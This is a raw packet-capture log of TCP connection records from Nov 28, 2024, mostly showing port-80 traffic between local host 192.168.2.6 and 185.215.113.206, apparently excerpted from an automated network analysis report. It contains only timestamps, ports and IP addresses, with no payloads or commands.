Nov 28, 2024 00:19:46.718063116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.718732119 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.718797922 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.718818903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.719038010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.719594002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.719645977 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.719686031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.719950914 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.720361948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.720405102 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.720424891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.721216917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.721268892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.721317053 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.721445084 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.722038031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.722085953 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.722130060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.722279072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.722995996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.723047972 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.723217010 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.723263025 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.723680019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.723740101 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.723772049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.723807096 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.724526882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.724575043 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.724663019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.724720955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.725352049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.725397110 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.725414991 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.725466967 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.726187944 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.726260900 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.726295948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.726459980 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.727020025 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.727078915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.727091074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.727256060 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.727853060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.727926016 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.727983952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.728022099 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.728658915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.728710890 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.728796005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.728846073 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.729453087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.729553938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.729612112 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.730303049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.730350971 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.730386972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.730494022 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.731153965 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.731224060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.731276035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.731966019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.732008934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.732038975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.732145071 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.765383959 CET	49868	443	192.168.2.6	23.209.72.37
Nov 28, 2024 00:19:46.765393972 CET	443	49868	23.209.72.37	192.168.2.6
Nov 28, 2024 00:19:46.788125038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.788208961 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.788353920 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.788393974 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.788568020 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.788618088 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.788623095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.788870096 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.789341927 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.789391041 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.789575100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.789623022 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.790203094 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.790251970 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.790333986 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.790373087 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.791016102 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.791280031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.791352987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.791388988 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.791922092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.791934013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.791975975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.791996956 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.792660952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.792707920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.792782068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.792912006 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.793468952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.793514967 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.793555975 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.793615103 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.794295073 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.794348955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.794476032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.794648886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.795129061 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.795269012 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.795330048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.795926094 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.796066999 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.796127081 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.796782970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.796833992 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.796904087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.796941042 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.797637939 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.797689915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.797821999 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.797863960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.798435926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.798482895 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.798557997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.798712015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.799324989 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.799372911 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.799448967 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.799525976 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.800085068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.800131083 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.800148964 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.800200939 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.800990105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.801045895 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.801086903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.801121950 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.801740885 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.801794052 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.801884890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.801991940 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.802582026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.802625895 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.803214073 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.803257942 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.803432941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.803445101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.803481102 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.804214954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.804330111 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.804378033 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.805109024 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.805161953 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.805201054 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.805233955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.805895090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.805948019 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.806030989 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.806063890 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.806750059 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.806797028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.806837082 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.806890965 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.807559967 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.807630062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.807678938 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.808382034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.808449984 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.808522940 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.809200048 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.809281111 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.809315920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.809348106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.892047882 CET	443	49862	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.892200947 CET	443	49862	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.892805099 CET	49862	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:46.892909050 CET	49862	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:46.892931938 CET	443	49862	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.892946959 CET	49862	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:46.892954111 CET	443	49862	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.895446062 CET	49875	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:46.895483971 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.895545006 CET	49875	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:46.895750999 CET	49875	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:46.895764112 CET	443	49875	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:46.919825077 CET	443	49870	23.209.72.37	192.168.2.6
Nov 28, 2024 00:19:46.920205116 CET	49870	443	192.168.2.6	23.209.72.37
Nov 28, 2024 00:19:46.920234919 CET	443	49870	23.209.72.37	192.168.2.6
Nov 28, 2024 00:19:46.920578957 CET	443	49870	23.209.72.37	192.168.2.6
Nov 28, 2024 00:19:46.921593904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.921684980 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.921690941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.921772957 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.921972036 CET	49870	443	192.168.2.6	23.209.72.37
Nov 28, 2024 00:19:46.921988010 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.922054052 CET	443	49870	23.209.72.37	192.168.2.6
Nov 28, 2024 00:19:46.922101021 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.922151089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.922838926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.922899008 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.923121929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.923166037 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.923243999 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.923333883 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.923999071 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.924047947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.924122095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.924173117 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.924786091 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.924844980 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.924853086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.924985886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.925637007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.925765038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.925879955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.926440001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.926584005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.926647902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.927262068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.927294016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.927345037 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.928155899 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.928226948 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.928272009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.928363085 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.928909063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.928966999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.929027081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.929133892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.929712057 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.929794073 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.929857016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.929919004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.930543900 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.930591106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.930660009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.930718899 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.931376934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.931427956 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.931438923 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.931529045 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.932221889 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.932269096 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.932310104 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.932358027 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.933068991 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.933115005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.933116913 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.933259964 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.933886051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.933931112 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.933963060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.934010029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.934684038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.934778929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.934822083 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.935507059 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.935553074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.935636997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.935683966 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.936383009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.936398983 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.936439037 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.937180996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.937241077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.937298059 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.937397003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.937993050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.938045979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.938126087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.938509941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.938832998 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.938888073 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.938954115 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.939558983 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.939656019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.939743042 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.939790964 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.940463066 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.940511942 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.940579891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.940623999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.941294909 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.941337109 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.941354036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.941457033 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.942126036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.942171097 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.942279100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.942521095 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.942904949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.943001032 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.953856945 CET	49868	443	192.168.2.6	23.209.72.37
Nov 28, 2024 00:19:46.998277903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.998359919 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.998415947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.998505116 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.998604059 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.998647928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:46.999336004 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.999423981 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:46.999464035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.000140905 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.000164986 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.000199080 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.000411034 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.000726938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.000787020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.000861883 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.000926018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.001565933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.001643896 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.001673937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.001734018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.002393961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.002444029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.002593994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.002690077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.003210068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.003257036 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.003297091 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.003381014 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.004043102 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.004093885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.004157066 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.004195929 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.004865885 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.004920959 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.004961014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.005021095 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.005706072 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.005759001 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.005835056 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.005873919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.006515026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.006640911 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.006664991 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.006735086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.007374048 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.007421970 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.007466078 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.007540941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.008147955 CET	80	49794	185.215.113.206	192.168.2.6
